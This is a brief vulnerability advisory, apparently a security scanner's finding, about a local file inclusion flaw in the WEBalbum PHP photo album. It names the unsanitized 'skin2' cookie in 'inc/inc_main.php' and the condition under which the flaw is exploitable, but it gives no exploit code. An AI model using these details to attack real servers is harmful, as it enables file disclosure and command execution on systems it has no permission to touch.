The remote host is running WEBalbum, a photo album application written in PHP.
The installed version of WEBalbum fails to sanitize user input to the ‘skin2’ cookie in ‘inc/inc_main.php’ before using it to include arbitrary files. An unauthenticated attacker may be able to read arbitrary local files or include a local file that contains commands which will be executed on the remote host subject to the privileges of the web server process.
This flaw is only exploitable if PHP’s ‘magic_quotes_gpc’ is disabled.
